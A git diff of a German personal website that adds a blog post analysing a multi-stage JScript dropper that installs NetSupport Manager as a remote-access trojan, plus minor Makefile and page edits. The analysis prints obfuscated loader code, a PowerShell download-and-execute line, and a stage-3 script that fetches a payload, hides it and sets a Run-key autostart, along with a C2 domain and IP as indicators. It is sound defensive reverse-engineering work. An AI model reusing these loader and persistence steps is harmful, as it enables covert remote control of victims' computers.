diff --git a/Makefile b/Makefile index 0608eed..640e49e 100644 --- a/Makefile +++ b/Makefile @@ -13,7 +13,7 @@ nopub: hugo container podman run --rm -p8080:80 docker.io/jmbitci/www-jmbit-de rollout: - kubectl rollout restart deployment www-jmbit-de -n jmbit-web + kubectl --context=jmbit-prod rollout restart deployment www-jmbit-de -n jmbit-web clean: rm -rf public diff --git a/content/blog/2023-02-05-esxiargs.md b/content/blog/2023-02-05-esxiargs.md index 1370a01..04b6ccc 100644 --- a/content/blog/2023-02-05-esxiargs.md +++ b/content/blog/2023-02-05-esxiargs.md @@ -5,7 +5,9 @@ author: Johannes Bülow draft: false --- -## UPDATE: Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt! +| UPDATE | +|----------------------------------------------------------------------------------------| +|Mittlerweile ist eine neue Variante im Umlauf, die vmdks unwiederruflich verschlüsselt! | ESXiArgs ist eine vermutlich neue Ransomware-Familie, die ESXi-Server angreift und darauf laufende VMs (teilweise) verschlüsselt. Der wahrscheinlichste Angriffsvektor ist derzeit diff --git a/content/blog/2023-04-28-JSRat.md b/content/blog/2023-04-28-JSRat.md new file mode 100644 index 0000000..48c8f64 --- /dev/null +++ b/content/blog/2023-04-28-JSRat.md @@ -0,0 +1,126 @@ +--- +title: "JScript delivered RAT" +date: 2023-04-28 +draft: false +--- + +# *DISCLAIMER* +**Das Herunterladen und ausführen von Malware, auch zum Zwecke der Analyse, ist gefährlich. Ich übernehme +keinerlei Haftung für etwaige Schäden bei Nachahmung!** + +| UPDATE | +|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| Neuere Varianten dieser Malware verteilen nicht direkt die jscript-Datei, sondern eine HTML-Datei, die im Javascript erst eine Zip mit dieser JScript-Datei baut! | + +## Einführung +In diesem Blogeintrag möchte ich einen kleinen Einblick in die Analyse bzw. das reverse-eingineering von Malware geben. +Hier anhand einer Beispielmalware, die über Mehrere Stufen letztendlich "NetSupport Manager" als Remote Access Tool +(RAT) installiert. + +Auf den ersten Blick scheint die Datei vergleichsweise harmlos, insbesondere wenn man z.B. in Windows nicht aktiviert +hat, dass der Dateiname vollständig (inkl. Endung) angezeigt wird. +![Screenshot der Dateivorschau](/img/blog/Screenshot_from_2023-04_28-08-50-24.png) + +Sollte ein Windows-User die Datei zum öffnen Doppelklicken, wird sie, statt wie zu erwarten im konfigurierten PDF-Viewer +angezeigt zu werden, vom [Windows Script Host](https://de.wikipedia.org/wiki/Windows_Script_Host) mithilfe dessen +JScript-Engine ausgeführt. + +## Stage 1 +Die initial heruntergeladene Datei ist sehr stark [Obfuscated](https://de.wikipedia.org/wiki/Obfuskation), was das +Reverse engineering deutlich erschwert. Ein relativ einfacher Trick ist hier jedoch, die eigentlichen Aufrufe, die die +nächste Stage herunterladen wollen, so umzubauen, dass sie statt dem eigentlichen Aufruf jediglich den entsprechenden +Code ausgeben: + +```js +LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk')); +FNwMBmgDjPdaInUxO[V1(0x39, 'bmzj')](V3(0x85, 'KWPY')) == ![] && CkMPuJXlbEaniIF[V3(0xac, 'ClZu')](PoHdrRpqKNwXVGyEDMO, V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0); +``` +_Hier erstellt die Malware ein ActiveXObjekt mit der nächsten Stufe und führt diese aus._ + +```js +LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk')); +console.log(FNwMBmgDjPdaInUxO + V1(0x39, 'bmzj') + V3(0x85, 'KWPY')) ; +console.log(CkMPuJXlbEaniIF + V3(0xac, 'ClZu') ) +console.log(PoHdrRpqKNwXVGyEDMO + V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0); +``` +_Der gleiche Teil des Codes, aber entschärft und mit print-Statements. Das "ActiveXObject" ist jetzt eine einfache +Klasse mit String dahinter._ + +Wenn man diesen Code dann mithilfe von NodeJS ausführt, erhält man den folgenden Output: + +``` +remnux@remnux:~/Analysis/nitrogen-diet-florida-monkey$ node nitrogen-diet-florida-monkey.js +ShElL.APPlIcatioN +scriptIng.fIlesysTemobjeCt +[object Object]FolderExistsC:\userss +[object Object]ShellExecute +cmd/C POwerShElL -nop -w hidden -ep bypass -enc oPen 0 +``` + +der Base64 kodierte String enthält diesen Powershellbefehl, der die nächste Stufe der Malware herunterlädt. +```powershell +IEX (New-Object Net.Webclient).downloadstring("") +``` + +## Stage 3 + +Stufe 3 der Malware ist ein Powershell-Skript, das auch wieder obfuskiert ist, z.B. durch seltsame Groß/Kleinschreibung, +String-Formatierung und großzügig verteilten \`, die in Powershell als Escape verwendet werden (im Gegensatz zu den +meisten anderen Sprachen, die \\ verwenden). Zudem wurde der gesamte Code in eine Zeile geschrieben. + +```powershell +{rn`UM}=&("{2}{0}{1}"-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&("{3}{2}{0}{1}"-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=("{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.("{0}{1}{2}{3}" -f'New-O','bje','c','t') ("{1}{0}{3}{2}"-f 'm.Ra','Syste','m','ndo'); +``` +_Ausschnitt aus dem Originalcode_ + +```powershell +#!/usr/bin/env pwsh + +&('cd') ${ENV:appdata} +${link} = "https:///wp-content/plugins/giveme.php" +${rnum} = 5 +${rrnum} = 1337 +${chrs} = "abcdefghijklmnopstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ" +${rstr} = '' +${ran} = .(New-Object System.Random) +for (${i} = 0 + ${i} -lt ${r`NuM} + ${I}++) { ${rstr} += ${chrs}[${ran}.next.Invoke(0, ${chrs}."length")] } +${rzip} = ${rstr} + ".zip" +${path} = ${ENV:`APPDATA} + '\' + ${rzip} +${pzip} = ${ENV: APPDATA} + "\ONEN0TEupdate_" +write-host (Start-Bitstransfer) -Source ${link} -Destination ${path} +&(Expand-Archive -path ${path} -destinationpath ${pzip}) +${fold} = &(Get-Item) ${pzip} -Force +${fold}.Attributes = Hidden +&(Remove-Item) -path ${path} +&('cd') ${pzip} +Write-Output Start client32.exe +${fstr} = ${ENV:appdata} + ".\ONEN0TEupdate_1337\client32.exe" +${rnm} = ONEN0TEupdate_1337 +Write-Output New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ONEN0TEupdate_1337 -Value ${fstr} -PropertyType String + +``` +_Stage3, aufgeräumt und vereinfacht_ + +Stufe 3 ist die Stufe, die letztendlich die eigentliche Payload herunterlädt. sowie einen Autostart-Registrykey +erstellt. +Bei der Payload handelt es sich um eine vorkonfigurierte Version von NetSupport Manager, die sich mit dem C2-Server +verbindet. + +## IOCs + +### C2-Server +* blahadfurtik.com:5222 (IP: 89.22.237.94 ) + +### Lokal/Filesystem +* Ordner mit dem Namen "ONEN0TEupdate\_XXXX" in `C:/Users//AppData/Roaming/` +* Registry-Key unter `HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` mit dem gleichen Namen wie der Ordner in + Appdata und zu client32.exe in diesem zeigend + + + + +----------- +Verwendetes Sample: SHA256:00d87e984f0fcd2e8fb55e4b83d86027dac67fd073958a95cbc98961ab940f4b +Quelle: bazaar.abuse.ch diff --git a/content/expertise/netxcloud.md b/content/expertise/netxcloud.md new file mode 100644 index 0000000..f268c92 --- /dev/null +++ b/content/expertise/netxcloud.md @@ -0,0 +1,17 @@ +--- +title: "Netxcloud" +date: 2023-05-01T18:06:16+02:00 +draft: true +--- + +Nextcloud ist vor allem bekannt dafür, als Alternative zu SAAS-Produkten wie Dropbox, Google Drive, +Onedrive und Co. zu dienen. Allerdings gibt es mittlerweile einige Features mehr als nur reines Filesharing. Nextcloud +kann mit Nextcloud Hub auch zu einer vollwertigen Collaboraition-Suite verwandelt werden. Hier wird das +Filesharing/Management um Chat, Video- und Audiokonferenzen, Email-Client, Kalender, Office, Kontaktverwaltung, +Taskmanagement und mehr erweitert +werden. Zusätzlich gibt es viele zusätzliche Apps, mit denen Nextcloud erweitert werden kann. + + + + + diff --git a/static/img/blog/Screenshot_from_2023-04_28-08-50-24.png b/static/img/blog/Screenshot_from_2023-04_28-08-50-24.png new file mode 100644 index 0000000..1631a5f Binary files /dev/null and b/static/img/blog/Screenshot_from_2023-04_28-08-50-24.png differ